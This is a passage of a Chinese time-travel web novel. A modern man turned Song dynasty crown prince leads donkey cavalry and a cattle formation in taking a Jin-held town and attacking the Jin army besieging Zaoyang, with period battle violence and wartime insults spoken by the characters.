宋宇并未收回葫芦卜,恰在此时,行至城外护城河桥上,看着周边风景,宋宇作诗一首“:
骑驴过小桥,
暖风拂柳笑。
东曦乘绿水,
玉叶天边摇。
人生多歧路,
挥剑斩群妖。
阵阵蹄声急,
载我赴前朝。”
“:殿下的诗词,不像我大宋流派,更不像理学流派。”听了宋宇的诗词,一直困惑在谢道清心里的疑问终于脱口而出。
宋宇暗道:这什么诗词啊?还流派?自己穿越前小学文化,唯一的爱好,就是看看古人的历史传记,以及他们写的诗词。话说这诗词不就是触景生情,有感而发么?什么流派不流派的?
“:我就是随口瞎念,你就姑且凑活着听。”
谢道清翻了个白眼“:切...”
宋宇作诗一首,身处队伍最后面的田奇则一身铠甲,独自一人坐在头牛背上。
只见他左顾右盼,神情紧张,生怕一个意外惊了**,导致横生枝节,**乱撞。而**两侧,各有一百余步军跟随,驱赶护持着**前进。
可见这铁牛阵,行军方面十分不方便。
身处队伍最前面的孟珙,在出城后第一时间便将麾下百余匹马骑兵驱散往周围侦察,本来留在队伍压阵的杨妙珍一千驴骑成为了真正的先锋军。却在这时,彭义斌来到了宋宇跟前,宋宇见他背着个盾牌,打趣问道“:彭兄弟不是有铁布衫么?再者,前些日子跟你说让你穿盔甲,你不是拒绝了,怎么还背着个盾牌?这不是和尚打伞,多此一举么?”
彭义斌见宋宇说出这么外行的话,连连摇头“:殿下,金人神臂弩了得,再好的功夫,也顶不住啊。”
宋宇一听,很是好奇的继续问道“;彭兄弟在山东是不是经常和金人交战?”
彭义斌面上露出得意神色,拍着胸脯吹嘘道“;可不是吗?俺在山东,直打得花帽军屁滚尿流,私下里称呼俺彭爷爷。“
宋宇听了,还真信以为真,哪知处在最前排的杨妙珍也来到了宋宇跟前嬉笑道“;殿下,莫要听这厮瞎掰活。平素里打的都是些散兵游勇,遇上花帽军,免不得一场恶战,其中更是胜少败多。“
“;花帽军?“宋宇听这俩人老提,疑惑的问道。
“:就是乣军,金国的猛安谋克,已不复昔日的勇武。无奈之下,金国皇帝便收编北方其他少数民族。充当新军,唤作乣军。其中契丹人占了多数。这乣军颇为善战,勇武异常。曾以五千之众,大败蒙古万骑。”
杨妙珍在旁解释道”;当年我父亲,便是被乣军击败俘虏。不屈而死。“说到这,杨妙珍颇为伤感,不愿再讲下去。
宋宇明显没看出杨妙珍脸色不对,继续问道 “:这金国皇帝,怎的不用汉人充军?”
彭义斌一听,大声回答道“;这金国皇帝,看不起俺们汉人,曾明言,天下汉人,如待宰之猪羊。为奴种地尚可,征战一无是处。”
“:哈哈哈。想不到咱汉人竟被人看扁至此。今日本太子倒要看看。是他金人凶悍,还是咱汉人勇猛。”宋宇哈哈大笑着答道。。
彭义斌在旁看宋宇发笑,越加庆幸自己,今生能够碰到这太子兄弟“;殿下,为何咱仅有的百余匹马,全都分给了孟兄弟?最起码殿下你要留一匹啊!”
“;骑驴多好?多尿性?“宋宇止住笑声,开玩笑似的说道。
“:殿下,俺是个粗人,你说啥,便是啥,虽然俺觉得,骑马比较合殿下身份。“彭义斌抓着脑袋,回答宋宇。
宋宇暗道:骑马虽好,却和士兵们拉远了距离。俗话不是说的好,别人骑驴你骑马,迟早摔个大马趴。
一行人一路急行,待赶到七方镇三里之外时,已至深夜。宋宇看了看满天的星辰,吩咐身边程保道“;告诉田奇,让他将**赶至隐蔽处。待拿下七方镇后,再继续赶路。”
程保小声领了喏,一勒缰绳,向后边田奇处赶去。宋宇继续吩咐道“;驴上嚼子,静声前行。步军原地待命,驴骑马骑突袭七方镇。”言罢,催动胯下毛驴,率先向前走去。
杨妙珍与孟珙得令,也催促麾下骑兵跟了上去。
两千余头驴,一百多骑兵,就这样悄悄摸向七方镇。待赶到不足镇子千米时,只见这七方镇不大,背靠河,东西南三面结木栅而守。各有一条路出镇。
此时整个镇子寂静无比,甚至连狗叫声都没有,宋宇打眼朝最近的入口看去,却看不见守夜得金兵。
宋宇见此,疑惑的说道“;怎的既无守夜兵卒,也无灯火照明之处?”
杨妙珍在旁应声道“;殿下,这镇子上,想来不会驻扎多少人马,妙珍看这镇子不大,出入只有三条路,北边便是小河。不若我三人分开行事,殿下与孟兄弟各把手一道路口。妙珍亲率一路驴骑,引出敌军,到时三面齐出。敌军必败。”
第七十九回 如今的金人 如当年宋人
“;此计甚妙。”宋宇爽快的答道。
言罢,吩咐孟珙。向着另外两条路摸去。
其实宋宇他们大惊小怪了,金人在这镇子,总共不过百余人,还不是精锐,由一个年轻世袭谋克带领。
这谋克把守此地,已经快半年了,平时除了金国的运粮队伍,少有生面孔来访。许是住的舒坦了。竟将整个镇子稍有姿色得汉家女子,全都集中到了自己床上。
搞的是日日笙歌,夜夜春宵,好不快活。甚至有几个都怀上了小谋克。俗话说,上梁不正,下梁歪。
这谋克手下的一众金兵,也都是慵懒成性,驱财逐色之徒。本来按命令,应该守卫三处路口得金兵,也都是各自闯入有女儿的宋人百姓家中,钻入那温柔乡里,睡得死猪般。
不明真相的宋宇,此时已经绕过一片田地,转入了另一条路上。看着远处乌七妈黑的木栅门,对着身后扛旗得江海说道“;安排几个人,将这寨门打开,再冲进镇子杀贼。”
江海对着身后几个驴骑,小声吩咐了几句。这几人冷静的点了点头,齐齐从驴背上跳下来。悄悄的摸向了寨门。
走到近处,这几人才看清,原来这寨门只是虚掩着。透过寨门缝隙向里张望,确是连半个人影都没。
几人觉得蹊跷,没敢打开寨门,反倒是悄悄地摸了回去,对着宋宇回道“;殿下,寨门只是虚掩着,并无守夜兵丁。见此,我等不敢擅自做主,还请殿下定夺。”
宋宇听了这几人回报,也是大惑不解:怎的?这是唱的哪出?记得孟珙当时说了,这七方镇,北接樊城,东联枣阳,西至新野是南通襄阳。如此紧要处,竟然没人把守?
太古怪了。宋宇正在琢么这到底唱的哪出,要不要再派几个人进入镇内,探探虚实。
哪知镇内喊杀声突起。宋宇心头一紧:看来杨姑娘他们,先动手了。罢了,量这小镇上,也藏不了万人。
自己手下,可是有两千驴骑呢。
想到此,宋宇将仁剑抽出剑鞘,只见白光一闪,“:儿郎们,冲进去,杀贼。”
喊完,当先一人一驴,冲着寨门冲去。身后立马响起轰隆隆得驴蹄声。也不管寨门如何,一众驴骑是直接将木寨门撞倒在地,踩踏着冲进了镇内。
冲进去后才发现,镇内依旧静的出奇。只听东西两侧杨妙珍他们蹄声隆隆。却不见敌人踪迹。
待到三队人马冲到了镇中心会和,才明白过来,感情这七方镇,毛都没有。
宋宇见此,十分不解,刚想说话,却听一间民房传来喊叫声“;来人可是我大宋兵马?”
不待宋宇答话,孟珙抢答道“;我等自是大宋兵马,你又是何人?”
那人见说,赶忙从屋内走了出来,小跑着来到宋宇等人跟前,带着哭腔,跪地嘶吼道“:将军,快救救我们吧。这些畜生,将镇上的姑娘糟蹋了个遍。这还不算,还将整个镇子的金银粮食,抢了个精光。哎呀,我们是真没法活啦。”
“:且起来答话。”宋宇将宝剑入鞘。平静的说道。
那百姓抬起头来,借着月光,看到了宋宇那张白如敷粉得俊脸,暗自咂舌:还是咱大宋的将军有个人模样,说话和蔼可亲。哪像这些个金狗,一个个身后留条猪尾巴。
如此想着,这百姓站了起来,指着道路两旁这些个民宅说道“;将军,现在金狗全都藏在民宅之内,搂着镇上的姑娘们睡大觉,总共百余人。”
宋宇一听大喜:啧啧。才百十来个。这女真人的后路,抄的也太简单了。
想到此,忙对孟珙吩咐道“:孟兄弟,你快带人马,挨家挨户搜捕,但见金狗,格杀勿论。哦...对了,记得留几个舌头。”
孟珙大声领了诺,从驴背上跳了下来。大声喊道“;都下驴,挨家挨户搜捕。”
边喊着,边吩咐几位指挥使,分别带了人手,从镇中心向外搜索起来。
宋宇又对着杨妙珍说道“:杨姑娘,麻烦你带些人手,封锁三条出镇通道。勿要放跑了这些金狗。”
杨妙珍听了命令,清点了人手。分三路向寨门走去。一时间,整个镇子沸腾起来。家家亮起了灯火。惊叫声,踹门声,呵斥声,求饶声不绝于耳。
直直响了半个时辰。才渐渐恢复平静。只见宋宇在周围火把的印照下,仔细打量着面前俘虏得金兵“:你们是金人?”
只见十余个光屁股的猪尾巴兵跪在一块,抖成一团。被宋宇兵马围在了当中,见面前宋宇问起,纷纷一脸惊惧的点了点头。
宋宇继续问道“;谁人派你等来把守此地?”
这次没人说话了。见此,彭义斌一脚踹翻了其中一个,大声喝道“;奶奶个熊,少装蒜,俺们可听这镇中百姓说了,你就是这队金人的头头。”
宋宇仔细打量起被彭义斌踹趴下之人,只见这人颇为年轻,估摸着也就二十郎当岁。由于光着屁股,也就脑后得猪尾巴值得一提。
宋宇皱眉严厉质问道“:你是头人?”
那人趴在地上,抖如筛糠“;这位军爷,小人,小人。有什么需要效劳的,军爷随便问,小人定然知无不言,言无不尽。”
“:好,我且问你,枣阳何人领兵,你可知晓?”宋宇依旧厉声怒喝道。
“:知道,是三阿哥守绪。就是他派小人来此的。”那人很识相的回道。
宋宇哈哈大笑“;为何那三阿哥,只派你这百十人来此?莫不是框我?”
那人见说,慌忙答道“:这位军爷,月前还有千余人,只不过全都被三阿哥调走了。”
“;好,本太子就喜欢爽快人。我再问你,由此出,到枣阳,路上可还有金军把守?“宋宇继续问道。
“;回军爷,没了。“那人赶忙回答道。
“;那,你想不想活命?“宋宇继续问道。
头头一听这个,立马面露喜色“:军爷,谁想死,谁是王八蛋。“
宋宇见这人没种,乐了“:哈哈哈。好,为了证明你所言不虚,只要将我们安全带到枣阳城外,你这条命,就算是保下了。“
那人一听,立马跪着向前蹭了两步,欣喜地说道“:军爷,你找小人办这差事,算是找对人了。“
哪知这时却有个反对之声传来“:这位将军,快杀了这厮。这厮把我们镇子,可是祸祸惨了。“
宋宇寻声看去,只见一群百姓,簇拥着些个大肚婆,挤到了宋宇跟前,指着几个大肚婆说道“;将军,你看这厮,把镇上的姑娘,睡了个遍。你瞅瞅,这些个大肚婆。”
“:将军,小人恳请,将这些大肚婆与金狗,一并宰了。“
边说着,几个百姓齐齐跪下,似乎宋宇不给个说法,就不起来了。
宋宇无奈的看了看那几个大肚婆,又看了看跪着的百姓。暗道:原来怀了孩子,也是有罪。
想到此,宋宇不想和愤怒的村民硬碰硬,温柔的说道“;其实,错不在你们,都是我大宋,对不起你们。吃你们的,拿你们的,却没本事保护你们。与其杀这些个大肚婆,还不若将我们杀了,让你们泄愤吧。“
宋宇这一番话语,着实震住了那几个百姓。只见这几个百姓跪在地上“:可使不得啊,将军,我们给您添乱了,我们不杀他们了。全凭将军处置。”
宋宇摇摇头苦笑着暗道:虽然现在救下了这些个大肚婆,可这些大肚婆没了依靠,又没法嫁人。估计今后的命运,也好不到哪里去。
谢道清在一旁温柔的提醒宋宇”:殿下,等我们走了,这些大肚子孕妇也会被村民当作泄愤工具处决。”
宋宇心里一沉,皱眉寻思片刻,终是再次开口“:诸位村民,他们肚子里的孩子我不管,但姑娘毕竟是我汉家姑娘,当初也是逼不得已侍奉金人,还请放她们一条生路。”
村民们听了宋宇之言,久久没人点头,却见最先与宋宇搭话的那个村民开口道“:将军放心,我们虽是庄稼汉,但是非还是分得清的。”
宋宇得了他的保证,这才心里好受些。
却在这时,谢道清再次催促道“:殿下,咱继续赶路吧。不是要在黎明之前,抵达枣阳吗?”
宋宇听谢道清催促,知道自己耽搁不得,从怀中取出了些银两。扔到了面前地上“;拿着吧,算是我大宋补偿孕妇的,你们记着,若有女子把娃生下来,就是咱汉人,从小别在背后梳个猪尾巴,看着恶心。”
言罢,一扬马鞭,吩咐众人押着几个俘虏,继续赶路。
离开镇子后,宋宇一路没遇到多大抵抗,当先侦察的孟珙这边,正在走小路穿越一片树林。
只见孟珙与骑兵二位指挥使,此时正在树林中牵马穿行。
其中一位指挥使开口询问孟珙“:孟小将军,殿下行事,还真是仁义为本啊!就连那些个怀了女真娃子的孕妇,也要救济一下,这样的太子,心地太过善良,在临安那个官场大染缸,可谓出淤泥而不染,实在难得。“
第八十回 高地列军阵 冲锋总动员
孟珙哈哈大笑“:经过这几日的相处,本将对殿下也是十分钦佩。宽厚待人,待得都是弱者,筹谋算计,见招拆招,又全部都是针对史嵩之那样的人。一个人,两副面孔,用善恶分明,来形容殿下,再合适不过了。”
“;孟将军真是一针见血,本将也不想再多说什么,只是,这几日来,太子在襄阳大动手脚,想来已经激怒了某人,虽则太子封锁消息,表面看似仍风平浪静,但若回到临安,想必会是与那人一番血雨腥风的争斗。到时胜了还好,我等也有了出头之日,但若是败了。整个天下,闹不好会就此分崩离析啊。“那指挥使小心提醒孟珙道。
孟珙似是没听明白对方的话,仍是一脸平静的说道“:不管谁人获胜,我孟珙都会极力拥护,须知,现在北地强掳,时时觊觎我大宋领土,若此时乱了,岂不是将大好河山,拱手相让吗?“
孟珙先行一步走小路到了枣阳,回看宋宇部队,宋宇在路上遇到了之前派出去侦察的王焕君。
两人打了照面,王焕君将这几日侦察到的情报汇报给了宋宇。
宋宇将王焕君的情报,和孟珙所说的情报一对照,发现有不少出入。首先枣阳的西北是新野,新野的西北是樊城。这两块地已经被女真人攻下。枣阳成了名副其实襄阳的最后一道防线。
其中新野约摸留守三千人,方才的镇子位于枣阳和新野之间,本来是起到警戒作用,一旦有敌军攻击,立刻快马通报枣阳。但这队女真人显然长时间没有敌情,松懈了,失去了其本来的警戒作用。
樊城一万余女真兵。和孟珙所说的四万,有较大出入。据王焕君所说,这些日子女真人从樊城新野甚至是方才的镇子,抽调了大量步兵去了枣阳前线。
现在枣阳前线已经聚集了八万左右女真士兵。王焕君还说,看枣阳前线的样子,这几日女真人大概率会强攻枣阳。
得到了这些消息,宋宇不敢耽搁,继续率兵赶路,黎明时分,大军终于来到了枣阳城外不远处的一块高地附近。
清晨的第一缕阳光,首先照在了枣阳城门楼上,照的那琉璃瓦,闪着金灿灿的光芒。
城门楼上的枣阳守军,依旧精神的守卫着这座襄阳门户。似乎每日的一餐稀粥,并不能将他们摧垮。
“:父亲,金狗两日来不停的攻城,想来是知晓了城内粮尽,想要趁此当口,一举夺城了。”只见孟璋,一脸焦躁的,对孟宗正说道。
孟宗正已经三天滴米未进了,此时饿的有些头昏。被晨光照在脸上一晃,顿觉双脚发软,忙扶着城门垛口弯腰大喘息,好一会,孟宗政才恢复过来,露出微笑回答孟璋道“;其实为父何曾不想出去破他金狗之围,可璋儿你看,这金人扎营于城西高坡之上,颇为坚固,并且日夜严防死守,若是用骑兵偷袭,立马会被发现。一波弓弩齐射,损失太大。不到万不得已,绝不能铤而走险。若是步军偷袭,就算偷营成功,想要全身而退,恐怕不太可能了。你且看,这金人又在城南,城北扎了营寨,独独留下城东没有防备,围三阙一,颇有请君入瓮的意味。这场仗,想要快速分出胜负,难啊。再者,这枣阳兵丁,只有万余人,金人一月来数次增兵,这几日更是来了大批人马增援,想来已有近七万人。更兼轻重骑兵护持。唉...”说到这里,孟宗正无奈的叹了口气。
“:城内能吃的都吃了,就差人吃人了。父亲,在这样坚守下去,迟早也是个死,不如杀出城去,与金狗拼了。”孟璋焦躁的催促道。
就在这父子二人对话的档口,金兵已经列阵由三面,向枣阳城围拢过来。
只见金人头前带队的,是身着重甲,手拿大盾的步兵。每个重步兵身后,都紧随一个神臂弩手。就这样,围拢着抗云梯的梯队,有序的向城墙逼近。
“;三阿哥,再饿他几日,这枣阳也会落入我等之手,又何必急于一时?”三阿哥身边汉人智囊张行信一脸不悦的询问道。
“;张先生,其实何止枣阳粮尽,我等粮草,也已告罄。”完颜守绪连连摇头,回答道。
“:怎会如此?三阿哥。我军粮草,不一直都是从史嵩之那里购买吗?”张行信显然知道内情。
完颜守绪见这张行信戳破了自己得借口,只好老实说道“:张先生,阿玛说了,朝廷已经没有银两,供我等再购买粮草了。况且史嵩之那厮,要价越来越高。摆明了坐地起价,讹诈我等。数日前,阿玛也派人前来催促,令我等速速夺取枣阳。再者,你当这史嵩之的家奴,是来此报信的?其实,是史嵩之派来讨要银两的,史嵩之名言,若本阿哥在不将拖欠的银两送去,就别想再得到一粒粮食。”
张行信闻听,很是惊讶“;三阿哥是想取下枣阳,掳掠些金银,再向史嵩之买粮?”
“:现下来说,也只能如此,不过,到时若将襄阳粮草尽皆买来,再用此法去夺了襄阳,想来也不是痴人说梦。”完颜守绪笑着说道。
“:殿下好算计,若能得了襄阳,进可攻巴蜀扬州,时时威胁临安小朝廷。到时想对他们开个什么价,还不是咱们说了算?哈哈哈...”
此时枣阳城西,一片密林之内。孟珙等人正在商讨“:诸位,前边便是枣阳了,也不知殿下现在走到了哪里。眼见金兵就要攻城了。”
“:孟小将军,发兵吧。打他们一个措手不及,先破了城西这路攻城人马。在与你父亲内外夹击金军大营。”其中一个指挥使一脸认真的说道。
“;这,也不急在这一时半刻,殿下这几天常跟我说,要收敛些火急火燎的性子,咱们再等等。”孟珙安慰众人道。
孟珙那边正在急切地等待宋宇,此时宋宇却骑在驴上,双目圆睁,腿肚子直抖。“;想不到八万人马,竟然这老大一片。而且这金军,已经开始攻城。与当初的盘算,差太多了。”
“:殿下,这才哪到哪?想俺们忠义军十几万人,聚在一起,没边没沿的。随便一个冲锋,犹如洪水滔天。“彭义斌估计没发现宋宇在打哆嗦,依旧吹牛打屁道。
宋宇咽了口唾沫:这孟珙当初的计划,金军一直死守在营盘之内,让驴骑走大路,就是要寻机冲击金军大营,他孟珙在趁乱接应。
可现在金军开始攻城,大营驻扎在城西一座土坡上,而枣阳城北南两个方向,全都有金军攻城部队,与孟珙当时心中的思量,怕是差了不少,若是自己率骑兵偷袭金营,这金营是不是已经变成一座空营?
话说奇袭战法,就是要扰乱敌军阵脚,空营之内,扰乱谁去?
若不是一座空营,到时万一金军死守营寨,一时半会夺拿不下。正在攻城的金军主力同时回师救应,自己这点人怕是不够看的。
却在这时,孟珙率领一百马骑飞奔而来与宋宇会和,到了近前,孟珙一脸兴奋的说道“:殿下,可算等到你了。”
宋宇见了孟珙很开心,暗道:以前有余阶帮自己出谋划策,什么事都依着他没出过错。
现在余阶不在身边,不知道这孟珙对于征战之事擅长不擅长?话说在历史上,孟珙都是飞将军一样的机动战大师,相较于余阶那种全能型人才,有点偏科。
想到此,宋宇开口问道“:孟兄弟,现在已经顺利抵达枣阳城下,不知你可对破敌之事有没有良策?”
孟珙不带思考的回道“:殿下,攻城那些军队,根本不用理会,枣阳有我父亲在,万无一失。现下我等直接冲击大营便可。一旦敌军大营陷入混战,敌军定然全军大乱。”
宋宇暗道:真是猛将军啊!要是余阶肯定分析一大堆有的没的。这孟珙却单刀直入。
不过他说的倒也有几分道理,眼下也没有别人献计献策。罢了,硬着头皮上吧。
想到此,宋宇开始有条不紊的排列冲锋阵型“:田奇听令!”
“:在。”
“:命你带领铁牛阵,排在全军最前,一旦发令,直奔敌营。”
“:喏!”
“:彭义斌王坚听令!”
“:在。”
“:你二人率领本部步军,排在**之后。”
“:喏!”
“:杨妙珍听令!”
“:在!”
“:你率一千驴骑,护佑步军右翼,一旦铁牛阵冲进敌营,立刻冲进去杀敌。”
“:领命!”
“:吕文德听令!”
“:在!”
“:命你率二百步军,带着战鼓队,寻一高处,一旦看到冲锋开始,擂鼓助威。不得停息!”
“:喏!”
剩余一千驴骑,随本殿下位于步军左翼。见机行事。”
下完了令,宋宇骑驴在阵前踱步,只等战鼓摆在高地,作最后鼓舞士气。
不多时,战鼓就位,谢道清小小并数个士兵围绕诺大的战鼓就位,只等宋宇一声令下。
宋宇站立阵前,身后龙旗被风吹得呼啦啦作响“:儿郎们,自靖康之耻以来,一甲子了,我宋人与金人的争斗,仍旧折磨着我大宋的百姓。仍旧让我大宋的将士为了这场战争流血不止。女真人不光要我们的命,还要我们的膝盖永远对着他们跪拜,要我们的皇帝,喊他们叔叔伯伯,甚至是爷爷!这等屈辱,我汉人三千年来,何曾有过?是可忍熟不可忍,现今女真衰落,天要亡他,今日一战,定要打得他女真人,再不敢小觑我华夏儿郎!”
第八十一回 江山何安好 江水何深深
喊罢,宋宇骑驴转过身,‘刺啦’一声拔出腰间宝剑“:
江山何安好?
江水何深深?
若要天下死,
拔剑斩昆仑!”
“:儿郎们!龙旗所指,尽为敌军亡魂!雪耻就在今日,擂鼓!随本太子,杀贼!”
“:杀贼!杀贼!杀贼!”
整个宋军被宋宇的言语彻底点燃,身后鼓声大作,全军踩着鼓点,奔着金军大营冲去。
只见完颜守绪此时并未在大营内,反倒是将帅椅,移到了距离攻城部队较近处得一片空地上。
身边由万余轻重骑兵与近两万步**护持着,正在津津有味的看着攻城。
由于处在高处,老远便看到城西小路上烟尘腾起,手下兵丁又来禀报“:三阿哥,城西小路杀来一队人马。看样子,少说万人。“
完颜守绪听了禀报,整个人愣在了当场。
忙向周围众人询问道“:最近可有我军兵马调动?“
一旁完颜陈和尚忙答道“;三阿哥,没您的命令,谁敢擅自调动人马?”
“:不对啊?如果是宋军,哪来的马?而且西方,乃是七方镇,由我军把守,为何我军后方来了敌人,反倒没人提前禀报?再者,若是宋军,又是哪个人指挥的?难道这史嵩之,反悔了?”
一连串的疑问,从完颜守绪口中说出,这也怪不得他如此惊讶,要说这完颜守绪,了解这京湖得宋军情况,几乎就跟自己金军的情况差不离。没办法,史嵩之就是喜欢这么玩。
但眼前的诸将也是大眼瞪小眼,正在完颜守绪苦于无人解惑之时,又有传令兵前来禀报“;三阿哥,奴才看清了,打头的不是骑兵,是一群牛。”
这次更是雷到了完颜守绪一众人“:牛?近万头牛?莫不是史嵩之怕我金兵无肉吃,送牛来了?”
“:三阿哥,不全是牛,后边还跟着两千多骑兵。此时正奔大营冲去。”那探子见都没听明白,继续解释道。
到了这一刻,众人才回过味来,只见智囊张行信略微沉思片刻,立马跪在了完颜守绪面前“;三阿哥,奴才以为,这队骑兵,定然是敌非友,如此布置,莫不是想让**冲乱我军阵型,再由骑兵掩杀?奴才以为,**势不可挡,不可与之硬拼,可令乣军,结拒马阵,再以神臂**压后。谅他**在勇猛,也休想冲破。这真正要命的,其实是后面这两千骑军,以奴才看来,可令陈和尚与完颜合达两位将军,各率两千轻骑,从两翼包抄,切断**与这支骑兵的联系,再合围了这队骑兵。到时就算**势不可挡,冲破了拒马**阵。也是后继乏力,对我军构成不了多大威胁。不知阿哥意下如何?”
“:先生之言大善。”完颜守绪听了这计策,知道事情严重,在迟疑片刻,就要坏事。
慌忙命令完颜合达,完颜陈和尚,各帅两千轻骑包抄宋宇骑兵。两人接了军令,大踏步跑向阵前骑营。翻身上马,点了兵将,便匆忙向着宋宇驴骑包抄而去。
这边完颜守绪安排好一切,回头对着张行简笑道“;四千骑兵对两千骑兵,是不是有些杀鸡用牛刀了?这宋人,除了孟宗政这老东西不怕我金人,就襄阳那些兵,还不跟老鼠见了猫似的,见了我女**就跑?哈哈哈...”
张行简却颇为谨慎,对着完颜守绪说道“:三阿哥,狮子搏兔,亦用全力。”
宋宇正坐在飞奔的毛驴上,侧目观看着枣阳城,现下来看,枣阳近万守军,正与三路攻城金军厮杀。
孟宗正与三个儿女,分别把守北南西三侧,唯独东门无有金军。可见是金人围三阙一之法。
但金人显然不了解孟宗正,不了解这枣阳军民的心。其实枣阳城内的近万士兵,从根上来说,都是金国百姓,是因蒙金战争,金西夏战争,以及金国此起彼伏的各种起义搞到家破人亡,生存难以为继,才逃难到枣阳得难民,但由于其他各州郡都非常听从大宋朝廷不许北人南渡的命令,拒不收纳这些逃难而来的百姓。
所以这些百姓便流离于金宋边境,可谓上天无路,入地无门。
但偏偏有人不信邪,孟宗正便是其中之一,这位被金人称为孟爷爷的老将军,将附近流民,全都安排住在了枣阳,分给田地,加以操练。
又经过长达四年的宋金稀里糊涂面子战争,竟巧合地将这支奇怪拼盘队伍,锻炼成了当时各国中首屈一指的能战之军。时人称之,忠顺军。
有时宋宇会想,如果大宋没有这支部队,宋金战争,会打成什么样子?就史嵩之那草包样,女**会不会直接拿下襄阳?之后的宋蒙战争,又会是什么结果?孟珙可是全凭这忠顺军防御蒙古进攻。
“;殿下,金人两队骑兵,从两翼包抄而来。想来是要绕过铁牛阵,与我军骑兵厮杀。”一旁扛旗的江海对着宋宇大喊道。
宋宇将眼神从枣阳城方向收回,扫了一眼左右两路快速杀来得女真骑兵,心中暗道不好,忙大声吩咐道“;传令杨妙珍,命她打掉右翼女真轻骑兵。”
吩咐好了杨妙珍,宋宇本想亲自指挥驴骑,冲击左翼女真骑兵,却听旁边孟珙大喊道“;殿下,您继续冲锋,左翼女真骑兵,交给小弟了!”
宋宇皱眉回话“:你才一百骑兵!”
孟珙正色道“:殿下放心,打这些废物,足够!”
见孟珙胸有成竹的样子,宋宇不在劝说,对他点了点头。
孟珙随即带领麾下一百骑兵,直奔女真两千骑兵冲去。
“;江海,把龙旗抗稳了。你我直奔金军大营,杀他个人仰马翻。”宋宇咬牙对江海喊道。
江海听到宋宇喊话,右手使劲儿握了握龙旗旗杆,头顶龙旗已经被顶头风吹的扑啦啦作响“:殿下放心,老将今日就跟这龙旗长一块了!”
宋宇身后的骑兵,从襄阳一路跟着太子走来,早已对这金屋子里走出来的太子一路来的言行举止所折服,对宋宇人品更是钦佩不已。
宰牛美酒,足额俸银。自打当兵起,就没碰上过
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这么好的事。此时见前边龙骑招展,旁边孟珙百骑冲击女真上千骑兵。一时士气大振。
也不知是谁当先喊了句“;兄弟们!杀敌报国!就在今日!”
齐呼声响起“:杀金狗!报国家!”
听着后边咋咋呼呼的喊叫,宋宇并未出声制止,暗道:这就是主将的作用。任何时候,行动都比语言,更有说服力,更能让人以死相报。
天天什么仁义礼智信,什么爱国爱家讲十万遍不如真正做点什么,就算不做什么,也要和士兵站在一起。让他们知道,你,不是养在金鸟笼里的金丝雀。
其实出发前,对这些士兵的许诺与激励,还不如这一路来默不作声,亲力亲为,来的实在。正是作为太子的自己,一路上始终冲锋在前,才彻底的收服了这些将士的心。
一旁的江海许是被身后士兵感染了,又或许是风大吹进眼睛里沙子了,就见他眼眶湿润“:殿下,一会厮杀,莫要强出头,躲在老将身后,老将为你挡刀枪!”
宋宇看着旁边江海,百感交集:这,恐怕就是人们在生死存亡之际,从内心深处发出真实情感。
不需问,现在这些士兵,肯定都将自己,视为唯一照亮前路的光,只有紧随着这道亮光走,才是出口!
想到此,宋宇心中释然了,过往种种坎坷,历历在目。想我宋宇,一介农村土狗。浑浑噩噩活了二十余载。
直到来了这大宋,才踏马活出了做人的滋味,这辈子值了,宋宇大喝一声“;过瘾,大丈夫生当为国为民而生,死。当马革裹尸。”
只见宋宇高举仁剑,大喊出声“汉家儿郎们,与我将金狗杀回老家。”
“:杀!杀!杀!”
宋宇这几句简短的话语,迅速点燃了身后骑兵的士气,爆发出震天动地的喊杀声。
随着这道喊杀声得扩散。周围的宋军,竟然产生了共鸣。纷纷跟着叫喊起来。
宋宇见激励奏效,愈加兴奋,紧催胯下毛驴,随着**,冲向金军主力营寨。
而此时枣阳城楼之上,一直指挥着忠顺军守城的孟宗政,见自己儿子孟璋离开了城西防线,向自己跑来,边跑,孟璋边对着孟宗政大声提醒道“;父亲,一队扛着龙旗得骑兵,正**式得冲向金军营寨。”
孟宗正本想斥责儿子擅离职守,待听到龙旗两字,急声问道“;龙旗?璋儿可是看错了?”
孟璋一剑砍倒旁边爬上城来的金狗“;父亲,事关皇室,璋儿怎敢信口开河?“
孟宗正得了确认,即吃惊,又一头雾水:这敢用龙旗的,肯定是皇室,但这京湖之地,哪来的皇室?
说实话,自己现在都六十多了,也没见过老赵家的王子王孙,有哪个敢对着女**冲锋的!
现在破天荒的来了,不会是女**的诈术吧?不行,事关皇室,宁可信其有,不可信其无。明知是圈套,也得钻了!
孟宗正不敢在多想,急忙问孟璋道“;五百忠顺军骑兵,可都在城内待命?”
第八十二回 谁言天下死 拔剑斩昆仑
孟璋见父亲问起骑兵,慌忙答道“;骑兵自打今早上女**开始攻城起,就一直嚷嚷着要上城墙帮忙守城,儿子好不容易才劝下他们,让他们在城内待命。父亲,你莫不是要出城援救那队龙旗骑兵?”
孟宗正赶忙答道“;龙旗出现,事关重大,为父这就率骑兵,出去援助,这守城重任,便交给璋儿你了。“
孟宗政言罢,将宝剑入鞘。领了两个贴身的护卫。急匆匆的向着城内骑兵处跑去。
孟璋见父亲走远,叹了口气“;唉...若是史嵩之,拨给些**炮石,这金狗,焉能爬上城墙半步?”
那边孟璋愁眉苦脸,此时金军主帅完颜守绪处,就见完颜守绪面色凝重“;张先生,还真小看这些宋军了。想不到引开两队宋军骑兵,中间竟还藏有数千步军。看来这四千骑兵,吃不掉这队宋军了。”
张行信同样面色凝重,思量了片刻答道“:三阿哥,这队宋军出现的太过诡异,我等先回营寨吧。”
完颜守绪听了,很不明白“:大营由讹可将军带领近万步**防御,焉能有失?”
“;三阿哥,此时若是大营被袭,正在攻城的将士,会如何想?万一敌军用计,随便在大营内放几把火。全军必乱。”张行信冷静的说道。
张行信一席话,直接说到了完颜守绪心坎里“;张先生,传令身边部队,回营!阵型一定要稳,切不可乱了攻城士兵的心!”
张行信再次沉思了片刻“:三阿哥,稳妥起见,奴才以为,我等回营后,应再派讹可将军去攻击这队宋军,方为上策。”
“;啊?万一这队宋人只是前锋,宋人还有后续部队,岂不坏了大事?”
张行信却摇摇头“;应当不会再有宋军了。三阿哥请看。”
张行信边说着,边用手指了指宋宇所在的位置“:三阿哥觉不觉的,这面龙旗,有些莫名其妙?”
完颜守绪随着张行信指点出看去,待看清之时,两眼圆睁,惊疑的说道“;龙旗?这宋人,唱的哪出?”
张行信哈哈大笑“:三阿哥,待我等回营,招来史嵩之信使一问便知。”
完颜守绪连连点头“;那信使还在大营之中。走,你我快快回营。”
高坡之上,完颜守绪被龙旗搞得一时不知所措,正要回营招史嵩之信使问询。
宋宇军队,此时得了宋宇命令,阻挡侧翼骑军得杨妙珍孟珙两人,已经要与对方女真骑兵撞在一起。
左翼孟珙骑马速度快,手持丈八**在空中帅气旋枪后,当先与女真骑兵撞在了一起。
